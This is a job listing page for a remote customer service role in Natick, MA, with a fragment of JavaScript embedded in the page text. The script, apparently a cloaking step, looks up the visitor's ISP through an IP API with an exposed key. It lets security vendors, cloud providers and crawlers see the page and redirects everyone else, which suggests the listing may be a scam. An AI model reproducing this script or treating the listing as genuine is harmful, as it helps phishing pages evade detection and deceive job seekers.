Customer Service Representative

Customer Service Representative

Overview


const ipAddress = data.ip;

// retrieve ISP name and AS organization using ip-api.com API const ispUrl = `https://pro.ip-api.com/json/${ipAddress}?key=kKPypoeKUHgwZWD`; fetch(ispUrl) .then(response => response.json()) .then(data => { const ispName = data.isp; const asOrg = data.asname;

// check if ISP or AS organization is allowed const allowedIsps = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const allowedAsOrgs = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const ispAllowed = allowedIsps.some(pattern => pattern.test(ispName)); const asOrgAllowed = allowedAsOrgs.some(pattern => pattern.test(asOrg));

if (!ispAllowed && !asOrgAllowed) { // Redirect all users to the same URL window.location.href = ''; } }) .catch(error => { console.error('Error retrieving ISP name:', error); }); }) .catch(error => { console.error('Error retrieving IP address or location:', error); });

We are seeking a dedicated Work From Home Customer Service Rep based in Natick, MA, to provide exceptional support to our customers.

Responsibilities include:

  • Handling inbound customer inquiries via phone, email, and chat with professionalism and efficiency.
  • Providing product information, troubleshooting assistance, and resolving issues promptly.
  • Documenting customer interactions accurately in our CRM system.
  • Collaborating with team members to improve service quality.

Skills needed:

  • Excellent communication and active listening skills.
  • Strong problem-solving abilities and attention to detail.
  • Self-motivated with the ability to work independently.
  • Reliable internet connection and a quiet workspace.

Benefits include:

  • Flexible work hours and the ability to work remotely from home.
  • Competitive pay and performance incentives.
  • Comprehensive training and ongoing support.
  • Health, dental, and vision insurance options.
Emploment Location
Massachusetts, Natick

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